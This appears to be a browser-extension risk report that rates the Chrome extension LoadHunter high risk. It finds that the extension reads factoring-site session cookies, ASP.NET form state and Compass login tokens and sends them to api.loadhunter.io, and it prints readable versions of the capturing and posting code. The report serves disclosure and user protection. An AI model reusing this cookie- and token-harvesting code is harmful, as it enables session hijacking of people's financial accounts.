Is LoadHunter safe?

High risk

LoadHunter sends supported factoring-site cookies, login tokens, and form credentials to api.loadhunter.io.

On supported factoring login sites, LoadHunter reads ASP.NET session cookies, login form tokens, and related credential fields used during the factoring-connection flow. It also captures Compass login API tokens and sends these values to LoadHunter's auth endpoint.

loadhuntv2.3.0Chrome Web Store
72Risk
Who publishes it

loadhunt - no other listings under this identity, 4 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
loadhunt
Declared legal entity
loadhunt
Registered address
600 N Broad Street, Middletown, DE 19709, US
Registered contact
Dinu Nour

Shared hosts - 4 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

power-mobile.dat.com
Also called by 2 other listings, including LoadConnect
iq.dat.com
Also called by 3 other listings, including LoadConnect
loadsearch-graphql-api-prod.truckstop.com
Also called by 4 other listings, including Loadex
freight.api.prod.dat.com
Also called by 6 other listings, including Loadex, Load Spotter

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Factoring session tokens are sent to LoadHunter

LoadHunter's content script reads provider login fields or API tokens, asks the service worker for the provider session cookie when needed, and sends these to auth.php as saveFactoring data.

No request body was captured for this claim.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You connect a supported factoring account through LoadHunter.

The code gates this flow on provider domains such as Capital Depot, JD Factors, Partners Funding, Compass, and Compass New.

The extension did this

The extension packages provider session data and sends it to LoadHunter.

For ASP.NET providers it combines form-state fields with the provider session cookie; for Compass providers it forwards login tokens from API responses.

Fields the code places in the saveFactoring request
  • Request type
    endpoint: saveFactoring

    This tells LoadHunter that the request is saving a connected factoring account.

  • LoadHunter account
    username: dispatcher@example.com (illustrative)

    This links the factoring connection data to your LoadHunter account.

  • LoadHunter session token
    token: ldp_9d6f0f2a7c4b41e8 (illustrative)

    This authenticates the save request to LoadHunter for your account.

  • Factoring provider
    factoringName: capitalDepot

    This identifies which factoring service you connected.

  • Provider session cookie
    factoringToken: ASP.NET_SessionId=4E1C8F7B6A2D4C1D9F0B (illustrative)

    This can represent an active signed-in session with the factoring provider.

  • ASP.NET page-state fields
    factoringOtherCredentialsData.viewState: /wEPDwUKMTY4MzY0NTQ5Nw== (illustrative)

    These values come from the factoring provider's login page and can carry session-specific state.

  • Compass login token
    factoringOtherCredentialsData.jwtToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 (illustrative)

    This is a provider-issued login token captured from a Compass login response.

Captured request
POSThttps://api.loadhunter.io/auth.php
The code that does this

Code path that reads factoring session data and posts it to LoadHunter

Readable version

Readable saveFactoring flow derived from the shipped bundle

assets/content-scripts-mGEQZnRU.js
async function saveFactoring({ username, sessionToken, factoringName, factoringToken, factoringOtherCredentialsData }) {  return await authRequest({    endpoint: "saveFactoring",    username,    token: sessionToken,    factoringName,    factoringToken,    factoringOtherCredentialsData,  });}async function connectCapitalDepot() {  const providerUrl = "https://clientlogin.winfactor.com";  const targetPage = `${providerUrl}/corporate-search/`;  if (!document.body || !window.location.href.includes(providerUrl)) return;  chrome.storage.local.get(["lh-factoring-connection-status", "ldpSessionToken", "ldpEmail"]).then((state) => {    if (state["lh-factoring-connection-status"].factoring !== factoringNames.capitalDepot) return;    if (state["lh-factoring-connection-status"].status !== "inProcess") return;    if (window.location.href === `${providerUrl}/`) window.open(targetPage, "_self");    if (window.location.href !== targetPage) return;    const form = document.querySelector("#aspnetForm");    const viewState = document.querySelector('input[name="__VIEWSTATE"]');    const viewStateGenerator = document.querySelector('input[name="__VIEWSTATEGENERATOR"]');    const eventValidation = document.querySelector('input[name="__EVENTVALIDATION"]');    if (!form || !viewState || !viewStateGenerator || !eventValidation) return;    const otherCredentials = {      viewState: viewState.value,      viewStateGenerator: viewStateGenerator.value,      eventValidation: eventValidation.value,    };    chrome.runtime.sendMessage({ type: "getFactoringCookies", url: providerUrl, name: "ASP.NET_SessionId" }).then(async (cookieResult) => {      await saveFactoring({        username: state.ldpEmail,        sessionToken: state.ldpSessionToken,        factoringName: factoringNames.capitalDepot,        factoringToken: cookieResult.response,        factoringOtherCredentialsData: otherCredentials,      });    });  });}

Readable Compass token flow derived from the shipped bundle

assets/content-scripts-mGEQZnRU.js
function connectCompass() {  if (!document.body || !window.location.href.includes("https://compassfs.net")) return;  window.addEventListener("message", (event) => {    if (event.data.type !== "COMPASS_LOGIN") return;    const token = JSON.parse(event.data.data).Token;    if (token) submitCompassToken(token);  });  function submitCompassToken(token) {    chrome.storage.local.get(["lh-factoring-connection-status", "ldpSessionToken", "ldpEmail"]).then(async (state) => {      if (state["lh-factoring-connection-status"]?.factoring !== factoringNames.compass) return;      if (state["lh-factoring-connection-status"]?.status !== "inProcess") return;      await saveFactoring({        username: state.ldpEmail,        sessionToken: state.ldpSessionToken,        factoringName: factoringNames.compass,        factoringToken: token,        factoringOtherCredentialsData: {},      });    });  }}function connectCompassNew() {  if (!document.body || !window.location.href.includes("https://cfs.compassstore.net")) return;  window.addEventListener("message", (event) => {    if (event.data.type !== "COMPASS_NEW_LOGIN") return;    const token = JSON.parse(event.data.data)?.token;    if (token) submitCompassNewToken(token);  });  function submitCompassNewToken(token) {    chrome.storage.local.get(["lh-factoring-connection-status", "ldpSessionToken", "ldpEmail"]).then(async (state) => {      if (state["lh-factoring-connection-status"]?.factoring !== factoringNames.compassNew) return;      if (state["lh-factoring-connection-status"]?.status !== "inProcess") return;      await saveFactoring({        username: state.ldpEmail,        sessionToken: state.ldpSessionToken,        factoringName: factoringNames.compassNew,        factoringToken: factoringNames.compassNew,        factoringOtherCredentialsData: { jwtToken: token },      });    });  }}

Readable cookie and POST helpers derived from the shipped bundle

assets/src/entries/background/main-v48RYoot.js and assets/trialDays-DiveLHDL.js
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {  if (message.type === "getFactoringCookies" && message.url && message.name) {    chrome.cookies.get({ url: message.url, name: message.name }).then((cookie) => {      chrome.storage.local.set({ factoring_token: cookie?.value });      sendResponse({ response: cookie?.value });    }).catch((error) => {      sendResponse({ error: error.message });    });  }});const apiBase = "https://api.loadhunter.io/";const authRequest = async (payload, skipSessionReset = false) => {  try {    const response = await (await fetch(apiBase + "auth.php", {      method: "POST",      body: JSON.stringify(payload),    })).json();    return response;  } catch {    console.log(`Error in authRequest endpoint: ${payload?.endpoint}`);    return null;  }};
Hosts involved in the factoring-token flow
    • api.loadhunter.io

    Receives the saveFactoring POST containing the provider factoring token data and LoadHunter account context.

    • clientlogin.winfactor.com

    Provider page where the code reads ASP.NET state fields and requests ASP.NET_SessionId for Capital Depot.

    • usweb.jdfactors.com
    • clientlogin.partnersfundinginc.com

    Supported ASP.NET factoring provider domain handled by the same connection pattern.

    • compassfs.net

    Compass provider domain where login responses are read for the Token value.

    • cfs.compassstore.net

    Compass New provider domain where login responses are read for the token value.

Where it sends data

Destinations our analysis observed LoadHunter contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.loadhunter.io

    LoadHunter sends data to api.loadhunter.io. No other extension we have analysed sends data here.

Updated 30 September 2026ogepjnnfghfpkpjjieenkcppifhmmcdg